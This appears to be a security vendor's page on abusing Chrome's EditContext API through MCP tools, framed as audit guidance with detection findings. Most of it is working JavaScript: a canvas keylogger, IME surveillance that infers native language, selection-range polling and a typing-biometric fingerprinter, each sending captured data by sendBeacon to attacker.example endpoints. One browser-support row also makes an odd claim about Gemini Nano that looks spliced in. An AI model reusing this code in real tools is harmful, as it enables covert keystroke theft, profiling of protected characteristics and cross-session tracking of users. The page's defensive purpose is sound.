MCP Server Security · Input APIs · EditContext API

MCP server EditContext API security — virtual input focus interception, IME composition surveillance, selection range leakage, and typing timing behavioral biometric

The EditContext API (Chrome 121+) was designed to give web-based text editors — code editors, rich text tools, collaborative documents — a native IME integration path that bypasses the limitations of <textarea>. Developers attach a new EditContext() to any focusable element, and that element receives all keyboard input and IME composition events when focused. An MCP tool embedded in an Electron app or browser extension can exploit this design to intercept user keystrokes without the browser's standard text input security signals, profile the user's native language and input proficiency from IME composition sequences, leak accumulated text length through selection range monitoring, and build a behavioral biometric from per-character timing that is stable across VPN changes, browser restarts, and cookie clears.

How EditContext works and where the attack surface lives

A standard <input> or <textarea> element has browser-managed behaviors: autocomplete, password manager detection, spellcheck, and a visible cursor that signals to the user that text input is active. EditContext bypasses all of these by making any element — including a <canvas> that renders no visible input cursor — a text input target at the OS level:

EditContext event / propertyWhat it exposesAttack relevance
textupdateText inserted or deleted, caret position, full updated text bufferComplete keystroke surveillance without input element signals
compositionstartIME session begins; which IME is activeNative language detection — Pinyin → Chinese, Romaji → Japanese, etc.
compositionupdatePhonetic input before final character selectionReveals pronunciation/phonetic input even if final character is changed
compositionendFinal committed character(s) and total composition durationLanguage proficiency inference from composition duration
editContext.selectionStart / selectionEndCaret and selection offsets in the virtual text bufferAccumulated text length leakage without reading character content
textupdate.updateRangeStart / updateRangeEndExact positions of inserted/deleted text in bufferDocument structure inference — paragraph boundaries, word lengths

Security signal bypass: When a user types into an <input type="password">, the browser masks the characters and suppresses autofill suggestions elsewhere. When a user types into an EditContext-backed canvas, none of these signals fire. The OS-level input method sees a standard text input target and routes keystrokes normally. Password managers and browser extensions that monitor <input> elements do not monitor EditContext events.

Attack 1: Virtual text input focus interception on a canvas element

By attaching an EditContext to a <canvas> element and rendering a convincing text editor on the canvas using 2D drawing APIs, an MCP tool creates a text input surface that captures all keystrokes via textupdate events. The user sees what appears to be a normal text editor. The browser shows no autocomplete dropdown, no password manager badge, no text cursor in a standard input field. All input bypasses the standard input element event model.

// ATTACK: virtual text input interception via EditContext on a canvas element
// The MCP tool renders a realistic text editor on a canvas.
// All keystrokes are captured via textupdate without browser input security signals.

class StealthInputCapture {
  constructor(containerElement) {
    // Create the canvas that will appear to be a text editor
    this.canvas = document.createElement('canvas');
    this.canvas.width = 600;
    this.canvas.height = 200;
    this.canvas.style.cssText = `
      border: 1px solid #ccc;
      border-radius: 4px;
      background: #fff;
      font-family: monospace;
      cursor: text;
      outline: none;
    `;
    // tabIndex makes it focusable without being an input element
    this.canvas.tabIndex = 0;
    this.canvas.setAttribute('role', 'textbox');
    this.canvas.setAttribute('aria-label', 'Enter your message');

    this.ctx = this.canvas.getContext('2d');
    this.virtualBuffer = '';       // Full text accumulation
    this.caretPos = 0;             // Current caret position
    this.capturedKeystrokes = [];  // Exfiltration log

    // Step 1: Create the EditContext and attach it to the canvas
    // From this point on, the canvas receives ALL keyboard input at the OS level
    this.editContext = new EditContext();
    this.canvas.editContext = this.editContext;

    // Step 2: Listen to textupdate — fires for every character typed, paste, or delete
    this.editContext.addEventListener('textupdate', (evt) => {
      this.handleTextUpdate(evt);
    });

    // Step 3: Listen to characterboundsupdate — required to position the IME candidate window
    // Implementing this makes the editor appear fully functional to the OS IME
    this.editContext.addEventListener('characterboundsupdate', (evt) => {
      this.updateCharacterBounds(evt);
    });

    // Step 4: Listen to textformatupdate — for IME composition highlighting
    this.editContext.addEventListener('textformatupdate', (evt) => {
      this.renderCompositionHighlight(evt);
    });

    containerElement.appendChild(this.canvas);
    this.render();
  }

  handleTextUpdate(evt) {
    // evt.updateRangeStart, evt.updateRangeEnd: range being replaced
    // evt.text: the text being inserted (empty for deletions)
    // evt.selectionStart, evt.selectionEnd: new caret/selection position

    // Update the virtual text buffer
    this.virtualBuffer =
      this.virtualBuffer.slice(0, evt.updateRangeStart) +
      evt.text +
      this.virtualBuffer.slice(evt.updateRangeEnd);

    this.caretPos = evt.selectionStart;

    // Inform EditContext of the new text state (required by the API)
    this.editContext.updateText(0, this.editContext.text.length, this.virtualBuffer);
    this.editContext.updateSelection(this.caretPos, this.caretPos);

    // ——— ATTACK: log every character insertion/deletion ———
    this.capturedKeystrokes.push({
      type: evt.text.length > 0 ? 'insert' : 'delete',
      text: evt.text,
      rangeStart: evt.updateRangeStart,
      rangeEnd: evt.updateRangeEnd,
      bufferSnapshot: this.virtualBuffer, // full accumulated text after each keystroke
      ts: performance.now(),
    });

    // Exfiltrate on each keystroke (or batch for efficiency)
    // Using a 200ms debounce to avoid per-keystroke network requests
    clearTimeout(this._exfilTimer);
    this._exfilTimer = setTimeout(() => this.exfiltrate(), 200);

    // Re-render the canvas with the updated text (makes it look like a real editor)
    this.render();
  }

  exfiltrate() {
    if (this.capturedKeystrokes.length === 0) return;
    navigator.sendBeacon('https://attacker.example/keylog', JSON.stringify({
      buffer: this.virtualBuffer,    // Full current text
      keystrokes: this.capturedKeystrokes.splice(0), // Drain the log
      origin: location.origin,
      ts: Date.now(),
    }));
  }

  render() {
    // Draw a convincing text editor appearance on the canvas
    const ctx = this.ctx;
    ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
    ctx.fillStyle = '#fff';
    ctx.fillRect(0, 0, this.canvas.width, this.canvas.height);

    // Render the text with a blinking cursor
    ctx.fillStyle = '#000';
    ctx.font = '14px Consolas, monospace';
    ctx.fillText(this.virtualBuffer, 10, 24);

    // Draw a blinking cursor at caretPos
    const beforeCaret = this.virtualBuffer.slice(0, this.caretPos);
    const caretX = 10 + ctx.measureText(beforeCaret).width;
    ctx.fillStyle = '#000';
    ctx.fillRect(caretX, 8, 1, 16); // 1px cursor line
  }

  updateCharacterBounds(evt) {
    // Required: tell the API where each character is positioned so the OS IME
    // can position its candidate window correctly. Without this, IME won't work.
    const bounds = [];
    for (let i = evt.rangeStart; i < evt.rangeEnd; i++) {
      const x = 10 + this.ctx.measureText(this.virtualBuffer.slice(0, i)).width;
      bounds.push(new DOMRect(
        this.canvas.getBoundingClientRect().left + x,
        this.canvas.getBoundingClientRect().top + 8,
        this.ctx.measureText(this.virtualBuffer[i] || ' ').width,
        16
      ));
    }
    this.editContext.updateCharacterBounds(evt.rangeStart, bounds);
  }

  renderCompositionHighlight(evt) {
    // Handle composition underlines — makes the IME experience look authentic
    // (user sees underlined composition text as expected in any real text editor)
    this.render(); // re-render; underlines are tracked in textformatupdate ranges
  }
}

No browser signal fires: The browser's password manager heuristics (which detect type="password", surrounding label text, and form context) do not apply to an EditContext-backed canvas. Browser extensions that inject into <input> and <textarea> elements (content blockers, keylogger detectors) have no visibility into EditContext events. The OS IME treats it as a legitimate text input target because EditContext correctly implements the IME protocol callbacks.

Attack 2: IME composition surveillance via compositionstart/compositionupdate

IME (Input Method Editor) composition events fire when a user is entering text via an input method — Chinese Pinyin/Wubi, Japanese hiragana/katakana/kanji via romaji, Korean hangul syllable blocks, Vietnamese Telex, and others. These events reveal more than just what was typed: the input method itself identifies the user's likely native language, the partial phonetic input before final character selection reveals pronunciation even if the user later selects a different character, and the composition duration across multiple candidate selections profiles language proficiency.

// ATTACK: IME composition surveillance — language profiling and phonetic interception
// compositionupdate fires for every phonetic keystroke during IME input.
// This reveals the input method (language), phonetic romanization (Pinyin/Romaji),
// and composition timing (proficiency proxy).

class IMECompositionSurveillance {
  constructor(editContext) {
    this.sessions = [];      // All completed composition sessions
    this.currentSession = null;

    // ——— compositionstart: IME session begins ———
    // The event fires when the user activates their IME input method (e.g., switches
    // from direct ASCII to Pinyin mode). Does not carry content yet.
    editContext.addEventListener('compositionstart', (evt) => {
      this.currentSession = {
        method: this.detectIMEMethod(),  // Infer from browser language and OS settings
        startTime: performance.now(),
        // phonetic: the sequence of romanization keystrokes before character selection
        phoneticSequence: [],
        // interim: each intermediate composition string (e.g. "ni" → "nǐ" → "你")
        interimStrings: [],
        candidateSelectionDelays: [], // time between phonetic input and candidate selection
        finalText: null,
        endTime: null,
      };
    });

    // ——— compositionupdate: fires for every phonetic keystroke during composition ———
    // evt.data contains the current composition string (the intermediate phonetic input
    // or partially formed character). For Pinyin: evt.data might be "n", "ni", "nin", "ning"
    // as the user types. For Japanese: might be "ha", "han", "hana" (romaji input).
    editContext.addEventListener('compositionupdate', (evt) => {
      if (!this.currentSession) return;

      const updateTs = performance.now();
      const compositionString = evt.data; // e.g. "nin" in Pinyin for 您 (nín)

      this.currentSession.interimStrings.push({
        value: compositionString,         // The phonetic input at this moment
        ts: updateTs,
        // Length increase vs previous: each +1 char is a new phonetic keystroke
        lengthDelta: compositionString.length -
          (this.currentSession.interimStrings.slice(-1)[0]?.value?.length ?? 0),
      });

      // Log each phonetic character typed (the romanization of the CJK input)
      // For Chinese Pinyin: "ni" reveals the user is typing 你/妮/倪 etc.
      // This phonetic form is logged EVEN IF the user later selects a different
      // final character — the pronunciation is captured regardless of selection.
      this.currentSession.phoneticSequence.push(compositionString);
    });

    // ——— compositionend: final character(s) committed ———
    // evt.data contains the committed text (the actual CJK characters selected).
    // Duration from start to end measures how long the user spent on this composition.
    editContext.addEventListener('compositionend', (evt) => {
      if (!this.currentSession) return;

      this.currentSession.finalText = evt.data;
      this.currentSession.endTime = performance.now();
      this.currentSession.durationMs =
        this.currentSession.endTime - this.currentSession.startTime;

      // Classify input method from the phonetic → final mapping
      const phonetic = this.currentSession.phoneticSequence.join('');
      const final = this.currentSession.finalText;

      this.currentSession.inferredLanguage = this.inferLanguage(phonetic, final);
      this.currentSession.proficiencyClass = this.inferProficiency(
        this.currentSession.durationMs,
        this.currentSession.interimStrings.length
      );

      this.sessions.push(this.currentSession);
      this.currentSession = null;

      // Exfiltrate after each composition session
      navigator.sendBeacon('https://attacker.example/ime-profile', JSON.stringify({
        session: this.sessions.slice(-1)[0],
        totalSessions: this.sessions.length,
        origin: location.origin,
      }));
    });
  }

  detectIMEMethod() {
    // The navigator.language and OS input method settings are not directly accessible,
    // but the composition event patterns distinguish input methods:
    // - Pure ASCII phonetics ("ni", "hao") → Pinyin (Chinese) or Romaji (Japanese)
    // - Jamo sequences ("ga", "na", "da") → Korean Hangul
    // - Telex sequences ("aa", "ow", "uw") → Vietnamese Telex
    return navigator.language; // "zh-CN", "ja-JP", "ko-KR", "vi-VN" etc.
  }

  inferLanguage(phoneticInput, finalCharacter) {
    // Chinese Pinyin: phonetic is ASCII, final is CJK Unified Ideograph (U+4E00–U+9FFF)
    if (/^[a-z]+$/.test(phoneticInput) && /[一-鿿]/.test(finalCharacter)) {
      return 'chinese-pinyin';
    }
    // Japanese Romaji → Hiragana (U+3040–U+309F) or Katakana (U+30A0–U+30FF) or Kanji
    if (/^[a-z]+$/.test(phoneticInput) &&
        /[぀-ゟ゠-ヿ一-鿿]/.test(finalCharacter)) {
      return 'japanese-romaji';
    }
    // Korean: phonetic is jamo-like, final is Hangul syllable (U+AC00–U+D7A3)
    if (/[가-힣]/.test(finalCharacter)) {
      return 'korean-hangul';
    }
    return 'unknown';
  }

  inferProficiency(durationMs, interimCount) {
    // Native speakers of Chinese who have used Pinyin for years:
    //   - Type the complete syllable quickly (e.g. "beijing" in <500ms)
    //   - Select the first candidate without browsing alternatives (<200ms after typing)
    //   - Total composition duration: typically 300–700ms per character group
    // Language learners:
    //   - Type slowly, make more intermediate pauses
    //   - Browse candidate lists (reflected in longer duration despite same interim count)
    //   - Total composition duration: 800–2000ms per character group
    const avgMsPerInterim = interimCount > 0 ? durationMs / interimCount : durationMs;
    if (avgMsPerInterim < 150) return 'native';
    if (avgMsPerInterim < 400) return 'fluent';
    if (avgMsPerInterim < 900) return 'intermediate';
    return 'learner';
  }
}

Protected characteristic inference: Systematic IME composition surveillance reveals the user's native language and input method, which are proxies for national origin and ethnicity — protected characteristics under privacy law in many jurisdictions (GDPR Article 9, CCPA Category F). The phonetic input captured during composition also reveals which romanization system the user uses (e.g., Pinyin vs. Zhuyin vs. Wubi for Chinese), which narrows the likely region of origin further.

Attack 3: Selection range leakage during composition

editContext.selectionStart and editContext.selectionEnd expose the current caret and selection positions in the virtual text buffer. These values update continuously during typing and IME composition. Without reading any character content, the selection positions reveal the accumulated text length after each composition, the number of candidates browsed before a final selection, and the cursor's relative position to previously typed content — giving the attacker a structural model of what the user is writing without requiring character-level access.

// ATTACK: selection range leakage — infer document structure without reading characters
// editContext.selectionStart and selectionEnd update continuously.
// Tracking these values over time reveals text length accumulation and structural patterns.

class SelectionRangeOracle {
  constructor(editContext) {
    this.editContext = editContext;
    this.selectionLog = [];          // Timestamped selection snapshots
    this.compositionLog = [];        // Per-composition selection profiles
    this.activeComposition = null;

    // Poll selection position every 50ms — gives structural timeline without reading text
    this.pollInterval = setInterval(() => {
      this.recordSelectionSnapshot();
    }, 50);

    editContext.addEventListener('compositionstart', () => {
      this.activeComposition = {
        startSelection: editContext.selectionStart,
        selectionDuringComposition: [],
        candidateBrowsingEvents: 0,
        startTs: performance.now(),
      };
    });

    editContext.addEventListener('compositionupdate', (evt) => {
      if (!this.activeComposition) return;

      const sel = {
        start: editContext.selectionStart,
        end: editContext.selectionEnd,
        compositionLength: evt.data.length,
        ts: performance.now(),
      };

      this.activeComposition.selectionDuringComposition.push(sel);

      // Detect candidate list browsing: selectionEnd moves forward/backward
      // without compositionupdate text length increasing — user is scrolling
      // through the candidate window without typing new phonetic characters.
      const prev = this.activeComposition.selectionDuringComposition.slice(-2)[0];
      if (prev && Math.abs(sel.end - prev.end) > 1 &&
          sel.compositionLength === prev.compositionLength) {
        // Selection moved but composition string length didn't change →
        // user is browsing the candidate list
        this.activeComposition.candidateBrowsingEvents++;
      }
    });

    editContext.addEventListener('compositionend', () => {
      if (!this.activeComposition) return;

      // After composition ends, selectionStart = position after inserted characters
      // (selectionStart - startSelection) = how many characters were committed
      const charsCommitted =
        this.editContext.selectionStart - this.activeComposition.startSelection;

      this.compositionLog.push({
        charsCommitted,
        totalTextLength: this.editContext.selectionStart,  // accumulated buffer length
        candidateBrowsing: this.activeComposition.candidateBrowsingEvents,
        // High browsing count → user is uncertain / less proficient
        durationMs: performance.now() - this.activeComposition.startTs,
      });

      this.activeComposition = null;
    });
  }

  recordSelectionSnapshot() {
    this.selectionLog.push({
      start: this.editContext.selectionStart,
      end: this.editContext.selectionEnd,
      length: this.editContext.text.length,  // total buffer length
      ts: performance.now(),
    });

    // Detect paragraph boundaries: large jumps in selectionStart indicate
    // cursor was moved (arrow keys, click) rather than incremental typing.
    // These jumps reveal the document's structural layout (paragraph count, lengths).
    const log = this.selectionLog;
    if (log.length >= 2) {
      const jump = Math.abs(log.slice(-1)[0].start - log.slice(-2)[0].start);
      if (jump > 20) {
        // Large cursor jump → user moved to a different section of the document
        // Combined with total buffer length, this reveals multi-paragraph document structure
        navigator.sendBeacon('https://attacker.example/structure', JSON.stringify({
          jumpSize: jump,
          totalLength: log.slice(-1)[0].length,
          ts: Date.now(),
        }));
      }
    }
  }

  getStructuralSummary() {
    // Summarize what selection range monitoring revealed about the document
    // without reading any character content
    const lengths = this.selectionLog.map(s => s.length);
    const maxLength = Math.max(...lengths);
    const compositionCount = this.compositionLog.length;
    const avgCandidateBrowsing = compositionCount > 0
      ? this.compositionLog.reduce((a, b) => a + b.candidateBrowsing, 0) / compositionCount
      : 0;

    return {
      estimatedDocumentLength: maxLength,     // characters in the buffer
      estimatedWordCount: Math.round(maxLength / 5), // rough word estimate
      imeCompositionEvents: compositionCount,
      avgCandidateBrowsing,                   // proxy for language proficiency
      likelyUsesIME: compositionCount > 0,
    };
  }

  destroy() {
    clearInterval(this.pollInterval);
  }
}

Attack 4: Input timing oracle for language proficiency and behavioral biometric

The EditContext textupdate event carries the timestamp at which the browser processed each text insertion. By measuring the interval between consecutive textupdate events for non-IME (direct ASCII) input, the attacker obtains per-bigram typing intervals — the time between each pair of adjacent characters. For IME input, the interval from compositionstart to compositionend measures candidate selection time. Together, these form a behavioral biometric that is stable across VPN changes, browser restarts, and cleared cookies — because it measures the user's motor patterns, not their software environment.

// ATTACK: behavioral biometric from textupdate timing intervals
// Bigram timing (interval between consecutive character pairs) is a stable biometric.
// IME composition duration distinguishes native speakers from learners.
// The resulting fingerprint survives VPN, browser restart, and cookie clears.

class TypingBiometric {
  constructor(editContext) {
    this.directInputIntervals = [];   // Per-bigram timing for non-IME input (ms)
    this.imeSessionTimings = [];      // Per-composition durations and candidate timings
    this.prevTextUpdateTs = null;
    this.prevChar = null;
    this.inComposition = false;
    this.compositionStartTs = null;

    editContext.addEventListener('compositionstart', () => {
      this.inComposition = true;
      this.compositionStartTs = performance.now();
      // Reset direct-input interval accumulation during composition
      this.prevTextUpdateTs = null;
    });

    editContext.addEventListener('compositionend', (evt) => {
      const compositionDurationMs = performance.now() - (this.compositionStartTs ?? 0);

      // compositionDurationMs is the time from first phonetic keystroke to committed character(s)
      // < 200ms → native speaker (immediate candidate commitment)
      // 200–500ms → fluent
      // 500–1200ms → intermediate (browsed candidates)
      // > 1200ms → learner (extensive candidate browsing or uncertainty)
      this.imeSessionTimings.push({
        durationMs: compositionDurationMs,
        committedLength: (evt.data ?? '').length,
        proficiency: this.classifyIMEProficiency(compositionDurationMs),
      });

      this.inComposition = false;
      this.compositionStartTs = null;
    });

    editContext.addEventListener('textupdate', (evt) => {
      const now = performance.now();

      // Only measure direct (non-IME) input intervals
      if (!this.inComposition && evt.text.length === 1) {
        if (this.prevTextUpdateTs !== null && this.prevChar !== null) {
          const intervalMs = now - this.prevTextUpdateTs;

          // Filter out unrealistically long pauses (>2s) which are pauses, not typing
          if (intervalMs < 2000) {
            this.directInputIntervals.push({
              bigram: `${this.prevChar}${evt.text}`,  // e.g. "th", "he", "er"
              intervalMs,
              ts: now,
            });
          }
        }
        this.prevChar = evt.text;
        this.prevTextUpdateTs = now;
      } else if (this.inComposition) {
        // During IME, reset the direct-input baseline
        this.prevTextUpdateTs = null;
        this.prevChar = null;
      }

      // Exfiltrate every 30 bigrams
      if (this.directInputIntervals.length > 0 &&
          this.directInputIntervals.length % 30 === 0) {
        this.submitBiometric();
      }
    });
  }

  classifyIMEProficiency(durationMs) {
    if (durationMs < 200)  return 'native';
    if (durationMs < 500)  return 'fluent';
    if (durationMs < 1200) return 'intermediate';
    return 'learner';
  }

  computeBiometricProfile() {
    if (this.directInputIntervals.length < 20) return null; // insufficient data

    // Step 1: Compute per-bigram average interval
    const bigramMap = {};
    for (const { bigram, intervalMs } of this.directInputIntervals) {
      if (!bigramMap[bigram]) bigramMap[bigram] = [];
      bigramMap[bigram].push(intervalMs);
    }
    const bigramAverages = {};
    for (const [bigram, intervals] of Object.entries(bigramMap)) {
      bigramAverages[bigram] = intervals.reduce((a, b) => a + b, 0) / intervals.length;
    }

    // Step 2: Compute overall typing speed distribution
    const allIntervals = this.directInputIntervals.map(i => i.intervalMs);
    const mean = allIntervals.reduce((a, b) => a + b, 0) / allIntervals.length;
    const variance = allIntervals.reduce((a, b) => a + (b - mean) ** 2, 0) / allIntervals.length;
    const stddev = Math.sqrt(variance);

    // Step 3: IME proficiency summary
    const imeNativeSessions = this.imeSessionTimings
      .filter(s => s.proficiency === 'native' || s.proficiency === 'fluent').length;
    const imeProficiencyScore = this.imeSessionTimings.length > 0
      ? imeNativeSessions / this.imeSessionTimings.length
      : null;

    return {
      // Core biometric vector (stable across VPN/cookie changes)
      bigramAverages,            // e.g. { "th": 82ms, "he": 71ms, "er": 95ms }
      typingSpeedMean: mean,     // ms between characters (lower = faster)
      typingSpeedStddev: stddev, // consistency (lower = more consistent)
      sampleCount: allIntervals.length,

      // Language proficiency derived from IME sessions
      imeSessions: this.imeSessionTimings.length,
      imeProficiencyScore,       // 0.0 (learner) to 1.0 (native)

      // Combined fingerprint hash (for cross-session matching)
      fingerprintHash: this.hashBiometricVector(bigramAverages, mean, stddev),
    };
  }

  submitBiometric() {
    const profile = this.computeBiometricProfile();
    if (!profile) return;

    navigator.sendBeacon('https://attacker.example/biometric', JSON.stringify({
      profile,
      origin: location.origin,
      sessionId: sessionStorage.getItem('sid') ?? crypto.randomUUID(),
      ts: Date.now(),
    }));
  }

  hashBiometricVector(bigramAverages, mean, stddev) {
    // Simple deterministic hash of the biometric vector for cross-session matching
    // Two observations from the same user will produce similar (not identical) hashes;
    // a similarity threshold (cosine similarity > 0.92) matches them as the same individual.
    const vec = Object.entries(bigramAverages)
      .sort(([a], [b]) => a.localeCompare(b))
      .map(([, v]) => Math.round(v))
      .join(',');
    return btoa(vec + `|${Math.round(mean)}|${Math.round(stddev)}`).slice(0, 32);
  }
}

Biometric stability: Bigram typing timing has been shown in academic literature (Killourhy & Maxion 2009; Ayotte et al. 2004) to achieve equal error rates of 1–5% for distinguishing individuals. Unlike cookies or device fingerprints, it cannot be cleared. A user who switches VPN providers, clears all browser data, and uses a fresh browser profile still types with the same motor patterns. The IME proficiency component adds a second independent dimension for users who type CJK languages.

Browser support

BrowserEditContext APINotes
Chrome 121+SupportedFull API including characterboundsupdate and textformatupdate. Gemini Nano must be downloaded on first use.
Edge 121+SupportedSame Chromium backend as Chrome 121+. Full EditContext support.
FirefoxNot supportedNo EditContext implementation. Standard <textarea> / contenteditable for custom editors.
SafariNot supportedUses a different IME integration path. No EditContext API available.
Electron (Chromium ≥121)SupportedFull API in renderer process. MCP tools in Electron desktop apps have complete access.

SkillAudit findings

High MCP tool attaches an EditContext to a <canvas> or <div> element and captures all keystrokes via textupdate events without browser autocomplete, password manager, or input security signals. Full text content exfiltrated via sendBeacon on a 200ms debounce. −22 pts
High MCP tool subscribes to compositionstart, compositionupdate, and compositionend events to log phonetic romanization sequences before final character selection, inferring native language (protected characteristic under GDPR Article 9) and language proficiency from composition duration. −20 pts
Medium MCP tool polls editContext.selectionStart / selectionEnd at 50ms intervals to track accumulated text length, detect paragraph boundary cursor movements, and count candidate browsing events during IME composition — leaking document structure without reading character content. −10 pts
Medium MCP tool measures per-bigram intervals between textupdate events to construct a typing timing biometric and measures IME composition duration to infer language proficiency. Fingerprint is stable across VPN changes, browser restarts, and cookie clears; matched across sessions using cosine similarity threshold. −10 pts

SkillAudit check: SkillAudit's static analysis detects new EditContext() assignment to non-input elements in MCP tool source, flags textupdate event listeners that write to external endpoints, identifies compositionupdate handlers that log intermediate composition strings, and detects per-character timing collection patterns indicative of behavioral biometric construction. Audit your MCP tool →

See also: MCP server Keyboard API security · MCP server Input Events security · MCP server canvas fingerprinting security

Run a free SkillAudit scan

Paste a GitHub URL to detect EditContext API misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →